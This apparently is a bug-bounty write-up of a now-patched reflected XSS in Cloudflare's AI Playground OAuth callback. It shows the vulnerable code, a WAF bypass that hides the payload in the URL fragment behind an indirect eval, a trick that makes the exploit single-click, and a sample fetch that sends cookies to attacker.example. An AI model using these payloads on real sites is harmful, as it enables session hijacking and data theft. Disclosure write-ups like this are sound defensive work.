Third post about Cloudflare in a row – I promise I hack other things too. This one is about a Reflected XSS I found in Cloudflare’s AI Playground that could steal any user’s chat history and interact with their connected MCP Servers. Along the way, I had to bypass Cloudflare’s own WAF, upgrade from a 2-click exploit to a single-click one, and watch the fix get patched twice before it actually stuck. The vulnerability was assigned CVE-2026-1721.

Preparation: What is Cloudflare AI Playground?

Cloudflare AI Playground is a web app that lets developers interact with various LLM models hosted on Cloudflare’s Workers AI. You can chat, test prompts, and also connect MCP (Model Context Protocol) Servers to extend the playground’s capabilities – think of it like giving the LLM access to external tools and data sources.

Under the hood, the AI Playground uses an OAuth-like callback mechanism at /agents/playground/Cloudflare-AI-Playground-*/callback/* endpoint to handle authentication flows, particularly for MCP Server connections. Naturally, any callback endpoint that reflects user input deserves a closer look.

The entire source code for the Agents SDK, including the Playground, is public on GitHub, which made auditing significantly easier.

Opening: The Injection Point

While reading the source, I landed on the OAuth callback handler in the server.ts file. The callback URL accepted an error_description query parameter that was directly interpolated into a <script> tag body without any sanitization:

// Simplified vulnerable code
const errorDescription = url.searchParams.get("error_description");
// ...
return new Response(`
  <html>
    <script>
      alert('Authentication failed: ${errorDescription}'); window.close();
    </script>
  </html>
`);

Classic Reflected XSS – the error_description parameter value lands inside a <script> tag. No encoding, no escaping, no Content Security Policy. An attacker simply had to close the string literal, inject arbitrary JavaScript, and comment out the rest. But there was a catch.

XSS Injection Flow

Mid Game: Outsmarting Cloudflare’s WAF

Here’s the ironic part: Cloudflare’s own WAF was protecting the Playground from direct XSS payloads. Sending a straightforward XSS payload like ',alert(1)// in the query string would immediately trigger the WAF block screen. It felt like trying to break into a house whose security system is also guarding you.

Even a simple eval('...') was getting caught. To get past this, I used a double-eval trick: x=eval,x(x('...')). By assigning eval to a variable first and then calling it indirectly, the WAF’s pattern matching couldn’t recognize it as a dangerous eval() invocation. This alone wasn’t enough though – the actual malicious code (the fetch() calls to steal data) still contained patterns that WAF would flag.

That’s where the URL fragment comes in. WAF rules operate on what the server sees, and the fragment (everything after #) never reaches the server. Browsers intentionally strip the fragment before sending requests, making it completely invisible to server-side WAF rules.

WAF Bypass via URL Fragment

The trick was to split the payload into two parts:

  1. In the query string (visible to WAF): A minimal escape payload that calls eval() on the URL fragment – innocuous enough to pass WAF rules
  2. In the URL fragment (invisible to WAF): The actual malicious JavaScript that steals data
https://playground.ai.cloudflare.com/.../callback/x
  ?error_description=test',x=eval,x(x('window.location.hash.slice(1)')))//
  #fetch('https://attacker.example/steal?data='+document.cookie)

The query string portion escapes the alert string, then uses eval(eval('window.location.hash.slice(1)')) to extract and execute the fragment. Since the fragment is never sent to the server, it sails right past WAF without scrutiny.

As Cloudflare’s own security team later acknowledged:

The WAF “bypass” is not surprising if you can inject into a <script> tag directly, that’s hard to block.

2-Clicks to Single Click

The initial payload had one annoying limitation. The injected code looked like:

alert('Authentication failed: test',x=eval,x(x('window.location.hash.slice(1)')))//'); window.close();

Since alert() is a blocking function, it would pop up a dialog box that the victim had to click to dismiss before the subsequent malicious fetch() calls would fire. A 2-click exploit works, but it looks suspicious and reduces success rate.

After some brainstorming, I found a way to prevent the alert() from even executing while keeping the expression valid. The JavaScript comma operator evaluates all operands but only returns the last one’s result. By making the last argument throw an error, the alert() call itself never completes:

alert('Authentication failed: test',
  x=eval,
  x(x('window.location.hash.slice(1)')),
  (() => { throw new Error('Dropping alert for Single Click Delivery'); })()
);

The immediately-invoked arrow function throws an error before alert() can display anything, but after eval() has already executed the fragment payload. It is a single-click takeover – the victim clicks one link and the attacker silently extracts their data.

End Game: What Can You Actually Steal?

Once JavaScript executes on the AI Playground origin, the attacker inherits the victim’s session context. Two things are immediately accessible:

1. Chat Message History

Every conversation the victim has had with LLM models on the Playground is stored in the browser’s session. A simple fetch() to the right API endpoint returns the entire conversation history.

Think about what people type into AI playgrounds: code snippets, internal documentation drafts, API keys, business logic, you name it. And now the attacker has all of it.

2. Connected MCP Server Access

This is the bigger deal. If the victim has connected any MCP Servers – Cloudflare’s own MCP Servers, private authenticated ones, or public ones – the attacker can interact with them using the victim’s session.

For example, if a user had connected the Cloudflare CASB MCP Server, the attacker could query CASB findings which may contain sensitive security data.

The attacker could also set the victim’s playground_session_id in their own browser session to persistently mimic the victim’s playground environment and interact with connected MCP Servers at leisure. Essentially, a full session hijack.

Impact Chain

The Fix Saga: Patch, Bypass, Patch Again

First Fix: JSON.stringify (PR #788)

Cloudflare’s first patch (commit 70e5040) used JSON.stringify() to encode the error_description before interpolating it into the script tag.

- alert('Authentication failed: ${errorDescription}'); window.close();
+ alert('Authentication failed: ' + JSON.stringify(${errorDescription})); window.close();

JSON.stringify() is not an XSS prevention function. It doesn’t prevent script tag breakouts. An attacker can still inject </script><script>malicious()</script> and escape the context entirely. I confirmed the bypass and flagged it.

Interestingly, an AI code review on that same PR had already pointed this out – Claude’s review caught the insufficient fix before I even tested it. Machines reading machines helping humans fix human mistakes – That too was missed.

Final Fix: Remove the Script Tag (PR #841)

The proper fix landed in the second patch. Instead of trying to sanitize user input inside a <script> tag, they removed the inline script entirely. Error messages are now properly HTML-escaped.

Patch URLs

ResourceLink
Vulnerable Sourceserver.ts#L51
MCP Client Codeclient.ts#L219-L233
Fix Attempt 1 (Bypassed)PR #788 / Commit 70e5040
Final FixPR #841
CVE RecordCVE-2026-1721

CVE-2026-1721

The vulnerability was formally assigned CVE-2026-1721 (CVE Record). Interestingly, the CVE was rated at Medium severity, while the HackerOne report was assessed as Low – Schrödinger’s severity, both medium and low until you open the right dashboard. The affected component is the Cloudflare Agents SDK, specifically the AI Playground’s OAuth callback handler. Since the agents repository is open source, anyone running a forked or self-hosted version of the AI Playground should update to the latest version 0.3.10 or above.

Timeline

DateEvent
Nov 13, 2025Report submitted to Cloudflare via HackerOne
Nov 15, 2025Upgraded from 2-clicks to single-click exploit
Nov 15, 2025Report triaged
Jan 13, 2026Severity set to Low (low playground usage) & $400 Bounty awarded
Jan 30, 2026First fix (PR #788) submitted for retest
Feb 04, 2026Second fix (PR #841) submitted for retest
Feb 13, 2026CVE-2026-1721 published
Feb 16, 2026Writeup Published